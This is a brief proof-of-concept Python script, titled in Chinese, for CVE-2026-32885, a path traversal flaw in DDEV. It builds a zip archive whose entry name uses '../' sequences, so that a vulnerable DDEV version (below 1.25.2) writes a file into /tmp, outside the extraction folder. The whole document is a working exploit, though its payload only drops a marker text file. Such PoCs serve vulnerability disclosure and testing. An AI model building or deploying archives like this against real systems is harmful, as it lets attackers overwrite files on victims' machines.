CVE-2026-32885 DDEV路径遍历漏洞

import zipfile import os # Proof of Concept for CVE-2026-32885 (Path Traversal via Unsanitized Extraction) # This script generates a malicious zip file containing a path traversal payload. filename = "malicious_ddev_exploit.zip" # Create a new zip file with zipfile.ZipFile(filename, 'w') as zf: # Construct a ZipInfo object to specify the filename # The filename uses "../" to traverse out of the intended extraction directory malicious_path = "../../../../tmp/pwned_by_ddev.txt" zinfo = zipfile.ZipInfo(filename=malicious_path) zinfo.compress_type = zipfile.ZIP_DEFLATED # Write content to the file inside the zip # If extracted by a vulnerable DDEV version, this content will be written to /tmp/ zf.writestr(zinfo, b"This file was written via CVE-2026-32885 vulnerability.") print(f"[+] Payload generated: {filename}") print(f"[+] Malicious file inside archive: {malicious_path}") print("[+] When DDEV < 1.25.2 extracts this, it will write outside the target folder.")